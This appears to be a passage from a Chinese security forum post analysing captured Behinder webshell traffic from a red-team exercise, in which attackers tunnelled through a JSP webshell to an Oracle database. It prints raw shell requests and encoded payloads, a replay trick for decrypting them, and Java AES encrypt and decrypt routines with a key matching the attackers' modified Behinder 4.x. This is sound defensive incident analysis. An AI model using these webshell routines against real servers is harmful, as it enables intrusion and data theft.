在这段中,可以发现是连接oracle,同时使用的是DBeaver数据库管理软件,
同时记录了我们连接的机器名字(一阵后怕,这个数据库连接工具害人不浅)
AUTH_TERMINALunknown
AUTH_PROGRAM_NM DBeaver 22?1?2 ? Main
AUTH_MACHINE DESKTOP-7FBN5QL
AUTH_PID 1234
AUTH_SID 1
已经到我们的盲区了,不过可以猜测是socket和oracle数据库的交互,参考如下博文
https://blog.csdn.net/weixin_34112181/article/details/92664231
我们可以搜索到类似的案例
跟随流量,我们继续前进
POST /windowsConfig HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQCtWP7tBSKiDnysT9hP9pa
Content-type: application/octet-stream
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
Content-Length: 28
CE1CCCkCCCCCCC1GCKg0C+CEC+==
GET /ncupload/windowsConfig.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQ0FX
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
lYUNaGnRS2eaUhe pfmcKQ0FX
该函数的作用就是关闭连接
接下来没有什么独特的流量,重复连接 1521业务
GET /windowsConfig HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Connection: keep-alive
Ffydhndmhhl: z5PL46dnTsawEtymqkQ3VgCtWP7tBSKiDnysT9hP9pa
Content-type: application/octet-stream
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
Content-Length: 339
CyCCCCgCCCCEyCg6XggRCyWW5ARCCCCECshCHRCCCC0ER+CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCQCCCQCCCCCCCC08gHltXao2+lg2y5JLh+aHgaol5aTLhaUFylgSX5LKSlgt+s98Q53tay5gKwJg3c9Bj1jB3t9ohagS9lXLit5Qis9oh+LSc5olXlUSg+lHEy98X9a+SsUE95Ln9+aLSHgF2kuY2zPCj1JMiyTQRyjEtYuH8YOULk9oh9gS5lX3Zuv4okqtZujohlcUaJLis9ohaLl9lo2XHlSc+a3Uyr8Lxr/VkvHPs9o4
流量包内容进行了一些修改,防止泄密
这个流量包解密出来是去连接数据库,使用账号密码
(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=10.0.0.0)(PORT=1521))(CONNECT_DATA=(CID=(PROGRAM=DBeaver 22?1?2 ? Metadata)(HOST=__jdbc__)(USER=1))(SERVICE_NAME=xxxxx)))
紧接着他去读取数据
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: z5PL46dnTsawEtymqkQ3VgTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Sbxspawzq: CapFLueBCn2ZM
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 27 Jul 2022 10:18:56 GMT
2c
C0CCCCQCCCCEcR8EQCEWWKgCCCCCQcgECCCCCCCCCCC=
0
我们尝试对他数据进行解密,我们把他密文放在读取之中,让他自己在读取一遍(借鸡下蛋)
POST /windowsConfig HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Connection: keep-alive
Ffydhndmhhl: z5PL46dnTsawEtymqkQ3VgCtWP7tBSKiDnysT9hP9pa
Content-type: application/octet-stream
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
Content-Length: 46
C0CCCCQCCCCEcR8EQCEWWKgCCCCCQcgECCCCCCCCCCC=
得到一些数据,猜测是 连接数据库的返回信息
IBMPC/WIN_NT64-9.1.0
在一众的数据解密中,发现了oracle的版本信息,见下
GET /ncupload/windowsConfig.jsp HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Sbxspawzq: CapFLueBCn2ZM
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 27 Jul 2022 10:18:40 GMT
124
Ct6CCCkCCCCCCCgOCg205lEXw3nF52SclXkLw5oV19BKCU+XC+kCC+E9CKU9CKgC0qkXaR1EaRtqCKU5C3QXClQXaK1ECO+CCCERC9+yE+61CKK1E++UX+kFEKRUE+aUE+MUE+aUE+hUE+aUE++UERzQ00tIQLzQg91QgaOKHK0XC3+XYK1CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCFKkEC+gtC+gOC+gEC+gECuWWCKhXCKgCZKUWWKgUC+gWC+1OCCgXC+z0C+CEOCCX
0
有一份加密比较独特,怀疑是oracle连接之后的查询
POST /ncupload/windowsConfig.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQCtWP7tBSKiDnysT9hP9pa
Content-type: application/octet-stream
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
Content-Length: 3120
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
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Sbxspawzq: CapFLueBCn2ZM
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 27 Jul 2022 10:18:40 GMT
GET /ncupload/windowsConfig.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Ffydhndmhhl: lYUNaGnRS2eaUhe pfmcKQTQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql
Cookie: JSESSIONID=D78810BD4A8EA708D00A152F099C6C89.server
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Sbxspawzq: CapFLueBCn2ZM
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 27 Jul 2022 10:18:41 GMT
2ac
09LCCCkCCCCCCCQCC+CECCgCCCC0CCQC0RCCCCRC0CCECCCCXCC1CChCCCCuCEzCC+CCCERCOCCECCCCO+CYCCgCCCCfCEhCC+CCCE6COKCECCCCICCzCCgCCCCnCELCC+CCCEBCIRCECCCCIKCZCCgCCCCRC0CCC+CCC0gCQ+CECCCC0RCsCCgCCCCwCC6CC+CCC0RCsCCECCCCs+C4CCgCCCE3CIaCC+CCCIRCxCCECCCEQRgPCCgCCCgJC91CC+CCC9+EFCCECCCEF+g2CCgCCCgqC9kCC+CCC9hEsRCECCCEsKgeCCgCCCg6C9KCC+CCC9LEw+CECCCEwRgVCCgCCCgDC9MCC+CCC5CE1CCECCCE1+giCCgCCCgjC5QCC+CCC51E1KCECCCEtCgLCCgCCCg3C5aCC+CCC5kEtRCECCCEtKg7CCgCCCgBC5RCC+CCC5oEc+CECCCEcKgGCCgCCCgMC5KCC+CCC5LEy+CECCCEyRgNCCgCCCgWC5MCC+CCCaCE+CCECCCE++UECCgCCCU0CaQCC+CCCa1E+KCECCCEHKUICCgCCCUQCaRCC+CCCaoE9+CECCCE9KUwCCgCCCUtCaLCC+CCCaBE5RCECCCE5KUyCCgCCCU+ClCCC+CCClgEa+CECCCEaRU9CCgCCCU5Cl1CC+CCCl+ElCCE
2ac
CCCEl+UlCCgCCCUrClkCC+CCClzElKCECCCErCUkCCgCCCUYCloCC+CCClhErRCECCCEuCUzCCgCCCUnClLCC+CCCrQEkRCECCCEkKUJCCgCCCUbCrzCC+CCCr6EfKCECCCEZCUMCCgCCCUSCuLCC+CCCuBEZRCECCCEZKUWCCgCCCOCCkCCC+CCCkgER+CECCCERRO0CCgCCCOXCk1CC+CCCk+E8CCECCCE8+OUCCgCCCOOCkkCC+CCCkzE8KCECCCEP+OFCCgCCCOsCkhCC+CCCk6EPKCECCCEJCO1CCgCCCOtCkLCC+CCCkBEJRCECCCEJKOyCCgCCCO+CYCCC+CCCYgEo+CECCCE2COaCCgCCCOlCYaCC+CCCYkE2RCECCCE2KOuCCgCCCOnCYLCC+CCCYBEbRCECCCEbKOZCCgCCCORCfCCC+CCCfgEh+CECCCEhROPCCgCCCOJCf1CC+CCCf+E4CCECCCE4+O2CCgCCCOqCfkCC+CCCfzE4KCECCCEpCOhCCgCCCO4CfoCC+CCCfhEpRCECCCEpKOeCCgCCCO/CfLCC+CCCfBEeRCECCCEeKODCCgCCCOKCdCCC+CCCdgE6+CECCCEK+IECCgCCCI0CzQCC+CCCzkEiRCECCCEiKIICCgCCCIQCzRCC+CCCzoEj+CECCCEjRIsCCgC
2ac
CCIwCz6CC+CCCzKETCCECCCET+ItCCgCCCIcCzBCC+CCCzMETKCECCCELRI9CCgCCCI5Cn1CC+CCCn+E3CCECCCE3+IlCCgCCCIrCnkCC+CCCnzE3KCECCCEvCIkCCgCCCIYCnoCC+CCCnhEvRCECCCEvKIdCCgCCCIzCnKCC+CCCnLE7+CECCCE7RIxCCgCCCIZCnMCC+CCCxCEBCCECCCEB+I8CCgCCCIPCxQCC+CCCx1EBKCECCCEACIoCCgCCCI2CxaCC+CCCxkEARCECCCEmRIpCCgCCCIeCx6CC+CCCxKEGCCECCCEG+I/CCgCCCIVCxBCC+CCCxMEGKCECCCEMCIKCCgCCCIjCZQCC+CCCZ1EMKCECCCESCILCCgCCCI3CZaCC+CCCZkESRCECCCEW+ISCCgCCCINCZBCC+CCCRg0C+CECCC0CRQ0CCgCCCQgCR+CC+CCCRa0E+CECCC0ERQOCCgCCCQICRzCC+CCCRR00CCECCC00+QFCCgCCCQsCRhCC+CCCR600KCECCC0XCQ1CCgCCCQtCRLCC+CCCRB0XRCECCC0XKQyCCgCCCQ+C8CCC+CCC8g0g+CECCC0gRQ9CCgCCCQ5C81CC+CCC8+0UCCECCC0U+QlCCgCCCQrC8kCC+CCC8z0UKCECCC0OCQkCCgCCCQYC8oCC+CC
2ac
C8h0ORCECCC0OKQdCCgCCCQzC8KCC+CCC8L0I+CECCC0IRQxCCgCCCQZC8MCC+CCCPCCCCQ8CCC0QRCCCP1CCCQoCCC0F+CCCPkCCCQbCCC0sCCCCPoCCCQpCCC0sKCCCPKCCCQ/CCC0wRCCCPMCCCQKCJCCC+CCCJgCCCQjCCC01KQTCCgCCCQLCJ+CC+CCCJa0t+CECCC0tRCCCJzCCCQBCCC0c+CCCJhCCCQGCCC0yCQMCCgCCCQSCJLCC+CCCJB0yRCECCC0yKQWCCgCCCFCCoCCC+CCCogCCCF0CoQCC+CCCo10+KCECCC0HCFgCCgCCCFUCoaCC+CCCok0HRCECCC0HKFICCgCCCFQCoRCC+CCCoo09+CECCCCCKC0CChCCCCgCCQC0RCCCCaCC+CECCCCERC0CChCCCCICCQC0RCCCCoCC+CECCCCX+CCCCBCCCCyCEzCC+CCCECCCCCHCCCCgRCCCE1CCCCaCCCCU+CCCEkCCCCbCIRCC+CCCXhCCCEgCCQC0RCCCgaCCCEOCCCC9RCCCgKCCCEdCCQC0RCCCUBCC+CECCCCuKCuCCgCCCERCOCCC+CCCOgCkCCECCCCYCEoCCgCCCE2COaCC+CCCOkCYRCECCCCfCCCCOoCCCEpCOhCC+CCCOKCd+CECCCCd+E/CCgCCCEVCOMC
18c
C+CCCOMCdKCECCCCzCEKCCgCCCEiCIgCC+CCCIQCzRCECCCCzKETCCgCCCELCOkCC+CCCIkCCCE7CCCCx+CCCIhCCCEGCCCCPCCCCFQCoRCECCCCoKCCCFRCCRCsCCCCq+C0CChCCC0fCCQC0RCCCF6CC+CECCCCbCC1CChCCC06CCQC0RCCCwQC6RCECCCC6K0TCCgCCC0LCw+CC+CCCwaC/+CECCCC/R0vCCgCCC07CwzCC+CCCwRCXCCsCCCCV+CCCwhCCC0GCCCCDCCCCwLCCC0NCCCCDKCCC1CCCCXXCICCC+CCC1+Cz+CECCCCi+EjCCgCCCX+CtCCC+CCCtgCCCXbCczCC+CCCcRCAKCECCCCm+X4CCgCCCXiCOLCC+CCCR1CCCCC
0
这份流量提供给大家,小子不才,对该流量解密始终没有头绪
在后续流量中呢,有一些可以解密的,
包括执行oracle之后,有一些时间回显
如下是该回显的发送流量
AUTH_PASSWORD@@B6
AUTH_TERMINALunknown
AUTH_SESSKEY``29342770E5CAUTH_PROGRAM_NMDBeaver 22?1?2 ? Metadata
AUTH_MACHINEDESKTOP-7FBN5QL
AUTH_ALTER_SESSIONddALTER SESSION SET TIME_ZONE='Asia/Shanghai' NLS_LANGUAGE='SIMPLIFIED CHINESE' NLS_TERRITORY='CHINA'
最后在读取了我们22年至21年的数据之后,我们将服务器进行了隔离,整个攻击也戛然而止
0x04 Behinder 4.x
我们根据第一篇,第二篇他木马的样本
修改了冰蝎4.0系列的加解密
加密
private String parseByte2HexStr(String buf) throws Exception {
StringBuilder sb = new StringBuilder();
char[] enChar = buf.toCharArray();
for (int i=0; i<enChar.length; i++) {
char c = enChar[i];
sb.append(Integer.toHexString(c));
}
return sb.toString();
}
private byte[] base64Decode(String str) {
byte[] value = null;
try {
Class base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{str.getBytes()});
} catch (Exception exception) {
try {
Class base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{str});
} catch (Exception exception1) {
}
}
return value;
}
private byte[] Encrypt(byte[] data) throws Exception
{
javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q=="), "AES");
javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES");// "算法/模式/补码方式"
cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
byte[] encrypted = cipher.doFinal(data);
Class baseCls;
String x;
try
{
baseCls=Class.forName("java.util.Base64");
Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
x = parseByte2HexStr(new String(encrypted));
}
catch (Throwable error)
{
baseCls=Class.forName("sun.misc.BASE64Encoder");
Object Encoder=baseCls.newInstance();
String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
result=result.replace("\n", "").replace("\r", "");
x = parseByte2HexStr(result);
}
return x.getBytes();
}
解密
private byte[] base64Decode(String str) {
byte[] value = null;
try {
Class base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{str.getBytes()});
} catch (Exception exception) {
try {
Class base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{str});
} catch (Exception exception1) {}
}
return value;
}
private byte[] Decrypt(byte[] data) throws Exception
{
String contentString = new String(data, "UTF-8");
StringBuilder deStr = new StringBuilder();
for(int i=0; i < contentString.length(); i=i+2){
String str2 = contentString.substring(i,i+2);
char char2 = (char)(Integer.parseInt(str2, 16));
deStr.append(char2);
}
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
c.init(javax.crypto.Cipher.DECRYPT_MODE, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q=="),"AES"));
return c.doFinal(base64Decode(deStr.toString()));
}
0x05 总结
在这次骑马与砍杀之中,以我们的完败作为结束,既在意料之外,又在情理之中。
攻防博弈本是逆天而行,面对潮水般的攻击,需要针对性的对每一份流量进行解密,又谈何容易。
这次攻击队的攻击速度,攻击质量都刷新了我对rt的概念,用这份分析来告慰数据的在天之灵(QAQ)。
0x06 致谢
以下师傅不分先后,非常感谢他们能在百忙之中,给菜弟弟提供帮助
- f1ashine
- h0ld1rs
- 湮灭
- 本文作者: Wumingzhilian
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1853
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!